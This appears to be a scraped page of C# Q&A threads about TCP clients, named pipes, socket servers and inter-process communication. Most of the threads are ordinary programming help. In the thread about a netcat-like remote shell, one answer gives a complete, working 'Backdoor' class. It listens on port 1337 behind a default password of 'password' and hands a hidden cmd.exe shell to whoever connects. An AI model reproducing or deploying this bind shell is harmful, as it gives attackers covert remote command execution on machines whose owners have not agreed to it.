C# Winform : Error while trying to launch TCP client application - c#

I have a C# Winform application trying to launch a node server.
However the code for this is written in a different cs file, Class1.cs rather than in Form.cs itself. I need to keep this separated in different files. Below is my Class1.cs file:
using System.Net.Sockets;
namespace NodeApp
{
class Class1
{
static string HOST = "localhost";
static int PORT = 9999;
static TcpClient client;
NetworkStream nwStream = client.GetStream();
public void NodeServer()
{
string strCmdText;
strCmdText = "/C node C:\\Desktop\\Test.js";
Process process = new Process();
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.FileName = "cmd.exe";
startInfo.Arguments = strCmdText;
process.StartInfo = startInfo;
process.Start();
}
}
}
Now when I call the function from my Form.cs file, like below:
using System.Net.Sockets;
namespace NodeApp
{
public partial class Form1 : Form
{
Class1 cl = new Class1();
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
cl.NodeServer();
}
am getting System.NullReferenceException at NetworkStream nwStream = client.GetStream();.
as no client is connected. But in-order to achieve that, the Node server should be running first correct ?
I was able to achieve this in a console based application where I called the NodeServer() method before the client.Connect() method in the Main function
static void Main(string[] args)
{
NodeSever();
Thread.Sleep(1500);
Console.WriteLine("Connecting to Node Server....");
bool connected = false;
client = new TcpClient();
while(!connected)
{
Thread.Sleep(2000);
try
{
client.Connect(HOST, PORT);
connected = true;
}
catch (SocketException e)
{
}
}
}
How can I replicate the same in a Winform application on Form_load method (where methods are defined in Class1.cs itself). Is Form_Load the right event to call the NodeServer() method?

You should not mix direct member initialisation and constructor logic. This makes it hard to understand the code flow.
This line declares a variable and initializes it:
NetworkStream nwStream = client.GetStream();
It is equivalent to changing the above line to:
NetworkStream nwStream;
and adding the following as the first line of the constructor:
nwStream = client.GetStream();
This makes it obvious that the client is not initialized.
In your case, just move the connection code to a separate method:
public void Connect()
{
client = new TcpClient();
while(!connected)
{
Thread.Sleep(2000);
try
{
client.Connect(HOST, PORT);
connected = true;
}
catch (SocketException e)
{
}
}
}
I also suggest to remove the static from the declaration of client.

Related

How to pass data from one WPF application to another WPF application?

I have two application which is Cashier.exe and Payment.exe
I want to pass the data for PosWindows.retrieveOrder from Cashier.exe to Payment.exe
PosWindows.retrieveOrder contains lots of data such as OrderId, OrderCode and more (which means its not single data)
I'm using this code but it does not send the data. is it because it cannot send a whole data like that ?
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "C:/Project/Application/Payment/Payment.exe";
psi.Arguments = "\"" + PosWindows.totalAmount.ToString() + "\"\"" + PosWindows.retrieveOrder + "\"";
var p = Process.Start(psi);
If I only send PosWindows.totalAmount.ToString().
which is something like this
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "C:/Project/Application/Payment/Payment.exe";
psi.Arguments = "\""+ PosWindows.totalAmount.ToString() + "\"";
var p = Process.Start(psi);
its working fine. but when I add PosWindows.retrieveOrder its not working.
does it impossible to send the PosWindows.retrieveOrder ?
I don't know if this problem come from this code below (because I don't declare for retrieveOrder)
This one at Payment.exe
private void app_Startup(object sender, StartupEventArgs e)
{
var args = e.Args;
if (args != null && args.Count() > 0)
{
foreach (var arg in args)
{
PaymentView.globalTotalAmount = decimal.Parse(arg);
}
}
}
if yes what will I do ? I means what should I put to replace this part decimal.Parse(arg) for retrieveOrder ?
You can use NamedPipeServerStream class.
https://learn.microsoft.com/en-us/dotnet/api/system.io.pipes.namedpipeserverstream?view=netframework-4.7.2
Take one of your apps as client, and the other as server. You can handle an async communication and parse your message when listening is completed.
Also you can check out Example of Named Pipes
Edit for solution example:
At client app, lets call the class PipeClient.cs
public void Send(string SendStr, string PipeName, int TimeOut = 1000)
{
try
{
NamedPipeClientStream pipeStream = new NamedPipeClientStream(".", PipeName, PipeDirection.Out, PipeOptions.Asynchronous);
// The connect function will indefinitely wait for the pipe to become available
// If that is not acceptable specify a maximum waiting time (in ms)
pipeStream.Connect(TimeOut);
Debug.WriteLine("[Client] Pipe connection established");
byte[] _buffer = Encoding.UTF8.GetBytes(SendStr);
pipeStream.BeginWrite(_buffer, 0, _buffer.Length, AsyncSend, pipeStream);
}
catch (Exception ex)
{
Debug.WriteLine("Pipe Send Exception: " + ex);
}
}
private void AsyncSend(IAsyncResult iar)
{
try
{
// Get the pipe
NamedPipeClientStream pipeStream = (NamedPipeClientStream)iar.AsyncState;
// End the write
pipeStream.EndWrite(iar);
pipeStream.Flush();
pipeStream.Close();
pipeStream.Dispose();
}
catch (Exception oEX)
{
Debug.WriteLine(oEX.Message);
}
}
And after you initialize your class just send the message with:
_pipeClient.Send(pipeMsg, "PipeName", Timeout);
At server app, lets call the class PipeServer.cs
public void Listen(string PipeName)
{
try
{
// Set to class level var so we can re-use in the async callback method
_pipeName = PipeName;
// Create the new async pipe
NamedPipeServerStream pipeServer = new NamedPipeServerStream(PipeName, PipeDirection.In, 1, PipeTransmissionMode.Message, PipeOptions.Asynchronous);
// Wait for a connection
pipeServer.BeginWaitForConnection(new AsyncCallback(WaitForConnectionCallBack), pipeServer);
}
catch (Exception oEX)
{
Debug.WriteLine(oEX.Message);
}
}
private void WaitForConnectionCallBack(IAsyncResult iar)
{
NamedPipeServerStream pipeServer = (NamedPipeServerStream)iar.AsyncState;
try
{
// End waiting for the connection
pipeServer.EndWaitForConnection(iar);
byte[] buffer = new byte[255];
// Read the incoming message
pipeServer.Read(buffer, 0, 255);
// Convert byte buffer to string
string stringData = Encoding.UTF8.GetString(buffer, 0, buffer.Length);
Debug.WriteLine(stringData + Environment.NewLine);
// Pass message back to calling form
PipeMessage.Invoke(stringData);
// Kill original server and create new wait server
pipeServer.Close();
pipeServer = null;
pipeServer = new NamedPipeServerStream(_pipeName, PipeDirection.In, 1, PipeTransmissionMode.Message, PipeOptions.Asynchronous);
// Recursively wait for the connection again and again....
pipeServer.BeginWaitForConnection(new AsyncCallback(WaitForConnectionCallBack), pipeServer);
}
catch (Exception ex)
{
string ctch = ex.ToString();
return;
}
}
For handling the pipestream message, delegate to a handler and parse the message:
_pipeServer.PipeMessage += new DelegateMessage(PipesMessageHandler);
at somewhere you need in your code:
_pipeServer.Listen("PipeName");
and parse for example:
private void PipesMessageHandler(string message)
{
if (this.Dispatcher.CheckAccess())
{
this.Dispatcher.Invoke(new NewMessageDelegate(PipesMessageHandler), message);
}
else
{
string pipeMessage = Convert.DateTime(message);
}
}

Sending network data on button click - conflicts between threads in c#

so i've got a Visual Studio C# WindowsForms program. It has the ability to open up a socket in the background to let tcp clients join. they can then exchange data.
the problem is that writing data to that tcp socket is a problem for me. reading data is successfull.
so my form1:
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private TcpListener listener;
private Socket socket;
...
private void Form1_Load(object sender, EventArgs e)
{
comboBox1.SelectedIndex = 0;
webBrowser1.GoHome();
const int LIMIT = 1; //5 concurrent clients
listener = new TcpListener(IPAddress.Any, 8080);
listener.Start();
for (int i = 0; i < LIMIT; i++)
{
Thread t = new Thread(() => {
socket = EmployeeTCPServer.accepting(listener, this);
});
t.Start();
}
toolStripStatusLabel1.Text = "Waiting for Connection";
listBox1.Items.Add("Waiting");
}
...
private void button3_Click(object sender, EventArgs e)
{
StreamWriter sw = new StreamWriter(new NetworkStream(socket));
sw.WriteLine("-> Stuff");
}
The accepting of the client must be threaded in case the form continues working, which should be the source of all evil. And my TCP Server Class:
class EmployeeTCPServer
{
public static Socket accepting(TcpListener plistener, Form1 parent)
{
Socket soc = plistener.AcceptSocket();
parent.SetText("Connection accepted");
Stream s = new NetworkStream(soc);
StreamReader sr = new StreamReader(s);
StreamWriter swa = new StreamWriter(s);
swa.AutoFlush = true; // enable automatic flushing
swa.WriteLine("-> Connected to Iface");
Service(plistener, parent, soc);
return soc;
}
public static void Service(TcpListener plistener, Form1 parent, Socket psoc)
{
bool EMPFANG = true;
Stream s = new NetworkStream(psoc);
StreamReader sr = new StreamReader(s);
StreamWriter swa = new StreamWriter(s);
swa.AutoFlush = true;
while (EMPFANG)
{
string name = sr.ReadLine();
parent.LBSetText(name);
if(name=="exit")
{
swa.WriteLine("-> Exit OK");
EMPFANG = false;
}
}
psoc.Close();
}
}
The problem crashes when i click on "Antworten" (Button3). It says that sw is NULL, which for me means that the returning of the socket descriptor doesn't work.
I also tried to make a new method in the tcp server class (something like "send_msg_to_client(string pmessage)") but then i dont know how to call that method.
So which method is the right one and how can i send data on button click?
Thanks in advance for help!
It sounds like you want a simple "chat" system with specific messages send between the client and the host.
Try to have a look at this project:
http://www.eng.northampton.ac.uk/~espen/CSY2026/CSY2026CSharp5.htm
Maybe it can be to some inspiration.
Let me know if it helps!

Writing a program with remote shell functionality like netcat

I am interested in writing a program which can do something like netcats "nc -L -d -p -t -e cmd.exe" command. So it provides a remote shell that is. I have tried piping output and input from and to cmd.exe and sending and receiving it over a socket but it doesn't really seem to work well. Are there any other ways to do it? I am programming in C# by the way.
This is some test code I wrote to test if I could make my own "shell". The output of this is what should be sent over a socket. The program, however, halts when it becomes time to read the output. This is only remedied by using the .readline() method, but I dont know how to detect when it should not read anymore lines.
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.Start();
StreamReader sr = p.StandardOutput;
StreamWriter sw = p.StandardInput;
while (true)
{
Console.Write(">> ");
string cmd = Console.ReadLine();
sw.WriteLine(cmd);
var resp = sr.ReadLine();
Console.WriteLine(resp);
}
Thanks.
Not sure if you still care about this but this may help you:
This is a C# Remote Shell
/*****************************************************************
*
* Created By DT
*
* ***************************************************************/
using System;
using System.Diagnostics;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.IO;
namespace BackdoorServer
{
public class Backdoor
{
private TcpListener listener; //ServerSocket object for listening
private Socket mainSocket; //Socket to handle client-server communication
private int port; //Port the server listens on
private String name; //The server name
private String password; //The server password
private bool verbose = true; //Displays messages in console if True
private Process shell; //The shell process
private StreamReader fromShell;
private StreamWriter toShell;
private StreamReader inStream;
private StreamWriter outStream;
private Thread shellThread; //So we can destroy the Thread when the client disconnects
private static int DEFAULT_PORT = 1337; //Default port to listen on if one isn't declared
private static String DEFAULT_NAME = "Server"; //Default name of server if one isn't declared
private static String DEFAULT_PASS = "password"; //Default server password if one isn't declared
public Backdoor()
{ //Use default settings
port = DEFAULT_PORT;
name = DEFAULT_NAME;
password = DEFAULT_PASS;
}
public Backdoor(int p)
{ //Define port only
port = p;
name = DEFAULT_NAME;
password = DEFAULT_PASS;
}
public Backdoor(int p, String n)
{ //Define port and server name
port = p;
name = n;
password = DEFAULT_PASS;
}
public Backdoor(int p, String n, String pass)
{ //Define port, server name, and password
port = p;
name = n;
password = pass;
}
public Backdoor(int p, String n, String pass, bool verb)
{ //Define port, server name, and password
port = p;
name = n;
password = pass;
verbose = verb;
}
////////////////////////////////////////////////////////////////////////
//the startServer method waits for a connection, checks the password,
//and either drops the client or starts a remote shell
////////////////////////////////////////////////////////////////////////
public void startServer() {
try {
if(verbose)
Console.WriteLine("Listening on port " + port);
//Create the ServerSocket
listener = new TcpListener(port);
listener.Start(); //Stop and wait for a connection
mainSocket = listener.AcceptSocket();
if(verbose)
Console.WriteLine("Client connected: " + mainSocket.RemoteEndPoint);
Stream s = new NetworkStream(mainSocket);
inStream = new StreamReader(s);
outStream = new StreamWriter(s);
outStream.AutoFlush = true;
String checkPass = inStream.ReadLine();
if(verbose)
Console.WriteLine("Client tried password " + checkPass);
if(!checkPass.Equals(password)) { //if the password is not correct
if(verbose)
Console.WriteLine("Incorrect Password");
badPass(); //Drop the client
return;
}
if(verbose)
Console.WriteLine("Password Accepted.");
shell = new Process();
ProcessStartInfo p = new ProcessStartInfo("cmd");
p.CreateNoWindow = true;
p.UseShellExecute = false;
p.RedirectStandardError = true;
p.RedirectStandardInput = true;
p.RedirectStandardOutput = true;
shell.StartInfo = p;
shell.Start();
toShell = shell.StandardInput;
fromShell = shell.StandardOutput;
toShell.AutoFlush = true;
shellThread = new Thread(new ThreadStart(getShellInput)); //Start a thread to read output from the shell
shellThread.Start();
outStream.WriteLine("Welcome to " + name + " backdoor server."); //Display a welcome message to the client
outStream.WriteLine("Starting shell...\n");
getInput(); //Prepare to monitor client input...
dropConnection(); //When getInput() is terminated the program will come back here
}
catch(Exception) { dropConnection(); }
}
//////////////////////////////////////////////////////////////////////////////////////////////
//The run method handles shell output in a seperate thread
//////////////////////////////////////////////////////////////////////////////////////////////
void getShellInput()
{
try
{
String tempBuf = "";
outStream.WriteLine("\r\n");
while ((tempBuf = fromShell.ReadLine()) != null)
{
outStream.WriteLine(tempBuf + "\r");
}
dropConnection();
}
catch (Exception) { /*dropConnection();*/ }
}
private void getInput() {
try {
String tempBuff = ""; //Prepare a string to hold client commands
while(((tempBuff = inStream.ReadLine()) != null)) { //While the buffer is not null
if(verbose)
Console.WriteLine("Received command: " + tempBuff);
handleCommand(tempBuff); //Handle the client's commands
}
}
catch(Exception) {}
}
private void handleCommand(String com) { //Here we can catch commands before they are sent
try { //to the shell, so we could write our own if we want
if(com.Equals("exit")) { //In this case I catch the 'exit' command and use it
outStream.WriteLine("\n\nClosing the shell and Dropping the connection...");
dropConnection(); //to drop the connection
}
toShell.WriteLine(com + "\r\n");
}
catch(Exception) { dropConnection(); }
}
////////////////////////////////////////////////////////////////////
//The drop connection method closes all connections and
//resets the objects to their null states to be created again
//I don't know if this is the best way to do it but it seems to
//work without issue.
////////////////////////////////////////////////////////////////////
private void badPass()
{
inStream.Dispose();
outStream.Dispose();
mainSocket.Close();
listener.Stop();
return;
}
private void dropConnection() {
try {
if(verbose)
Console.WriteLine("Dropping Connection");
shell.Close();
shell.Dispose();
shellThread.Abort();
shellThread = null;
inStream.Dispose(); //Close everything...
outStream.Dispose();
toShell.Dispose();
fromShell.Dispose();
shell.Dispose();
mainSocket.Close();
listener.Stop();
return;
}
catch(Exception) {}
}
static void Main(string[] args)
{
try {
Backdoor bd = new Backdoor();
if (args.Length == 1)
bd = new Backdoor(int.Parse(args[0]));
if (args.Length == 2)
bd = new Backdoor(int.Parse(args[0]), args[1]);
if (args.Length == 3)
bd = new Backdoor(int.Parse(args[0]), args[1], args[2]);
else if (args.Length == 4)
bd = new Backdoor(int.Parse(args[0]), args[1], args[2], bool.Parse(args[3]));
while (true)
{
bd.startServer();
}
}
catch(Exception) {}
}
}
}

Is it bad Ju-ju that the port is still being listened to after my app shuts down?

My app listens on a certain port for socket messages. I can see that it is LISTENING via "netstat -a" at the command line.
When I shut the app down, the machine is still listening on that port when I re-run "netstat -a"
Is this a problem?
It seems like maybe it is, as when I subsequently start the app again, it crashes ignominiously.
How can I cause the listening to cease?
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Diagnostics;
namespace testSocketSendAndReceive_Nutshell
{
public partial class Form1 : Form
{
string sJerrysIPAddr = "10.24.93.110";
string sMyIPAddr = "10.24.93.128";
string sThisAppFileName = string.Empty;
bool bThisInstanceFunctionsAsServer = false;
internal static Form1 MainSocketPairForm = null;
public Form1()
{
InitializeComponent();
MainSocketPairForm = this;
}
private void Form1_Load(object sender, EventArgs e)
{
sThisAppFileName = System.Diagnostics.Process.GetCurrentProcess().ProcessName; // This provides just the app name, appending ".vshost" but NOT ".exe" (testSocketSendAndReceive_Nutshell.vshost)
lblFileName.Text = sThisAppFileName;
// Client and Server code are here combined in one app; however, we want each instance to run as
// just one or the other, so (the .exe functioning as a Server should be renamed with the subString
// "Server" somewhere in the filename):
bThisInstanceFunctionsAsServer = sThisAppFileName.Contains("Server");
if (bThisInstanceFunctionsAsServer)
{
new Thread(Server).Start(); // Run server method concurrently.
Thread.Sleep(500); // Give server time to start.
}
btnSendMsg.Visible = !bThisInstanceFunctionsAsServer;
textBox1.Visible = !bThisInstanceFunctionsAsServer;
}
static void Client()
{
using (TcpClient client = new TcpClient(Form1.MainSocketPairForm.sJerrysIPAddr, 51111)) // err here second time around
using (NetworkStream n = client.GetStream())
{
BinaryWriter w = new BinaryWriter(n);
w.Write(Form1.MainSocketPairForm.textBox1.Text.ToString());
w.Flush();
Form1.MainSocketPairForm.label1.Text = new BinaryReader(n).ReadString();
}
}
static void Server()
{
TcpListener listener = new TcpListener(IPAddress.Any, 51111);
listener.Start();
var shouldExit = false;
while (!shouldExit)
using (TcpClient c = listener.AcceptTcpClient())
{
using (NetworkStream n = c.GetStream())
{
string msg = new BinaryReader(n).ReadString();
if (msg == "exit")
// Client told us to exit...
shouldExit = true;
BinaryWriter w = new BinaryWriter(n);
w.Write(msg + " back atcha!");
w.Flush(); // Must call Flush because we're not disposing the writer.
}
}
}
private void button1_Click(object sender, EventArgs e)
{
Client();
}
private void button2_Click(object sender, EventArgs e)
{
Close();
}
}
}
Your application is probably not actually exiting (check task manager "Processes" tab for your .exe).
You are probably trying to close the application by just closing the command window. Because your Server thread is not a background thread, it will just keep running. Try this guy in Form_Load:
if (bThisInstanceFunctionsAsServer)
{
var serverThread = new Thread(Server);
serverThread.IsBackground = true; // Make sure the server thread doesn't keep the app running in the background
serverThread.Start(); // Run server method concurrently.
Thread.Sleep(500); // Give server time to start.
}

C# Keeping Pipes Open

I've Got two Programs (Server / Client)
I'm trying to setup IPC for them (They both run on the same box)
Using System.IO.Pipes & Net 3.5
When I call ComOpen, it opens the Pipe correctly, sends the Process ID to the server, but then the Pipe closes and I get an error when it tries to send "Second Write Test"
So Question is.
How do I keep the Pipe open for the Life of the Program?
(I use the Process ID on the server to close everything down if the Client crashes)
private static StreamWriter MyWriter;
private static StreamReader MyReader;
private static NamedPipeClientStream IPCPipe = new NamedPipeClientStream(".", "MyPipe", PipeDirection.InOut);
public static bool MyWrite(string DataOut)
{
bool ValidPipeOut = false;
if(ValidComPort)
try
{
// Send Data
using (QstWriter = new StreamWriter(IPCPipe))
{
QstWriter.AutoFlush = true;
QstWriter.WriteLine(QstDataOut);
QstWriter.Close();
QstWriter.Dispose();
}
ValidPipeOut = true;
}
catch
{
ValidPipeOut = false;
}
return ValidPipeOut;
}
public static bool ComOpen()
{
ValidComPort = true;
try { IPCPipe.Connect(1000); }
catch (Exception ex)
{
string Erroris;
Erroris = ex.Message;
if (Erroris == "Already in a connected state.")
{
// We're Already Connected, Ignore this error.
ValidComPort = true;
}
else
{
ValidComPort = false;
MessageBox.Show(Erroris);
}
}
if (ValidComPort)
{
string ClientProcessID = System.Diagnostics.Process.GetCurrentProcess().Id.ToString();
MyReader = new StreamReader(IPCPipe);
ValidComPort = MyWrite(ClientProcessID);
ValidComPort = MyWrite("Second Write Test");
}
return ValidComPort;
}
The problem is the following line:
using (QstWriter = new StreamWriter(IPCPipe))
At the end of the using statement, the StreamWriter will be disposed and that will in turn dispose the IPCPipe. You are also explicitly calling Dispose and Close on QstWriter, which will close the pipe too.
To fix this, remove the using statement and the calls to Dispose and Close on QstWriter. And assign+initialize QstWriter only once.

Categories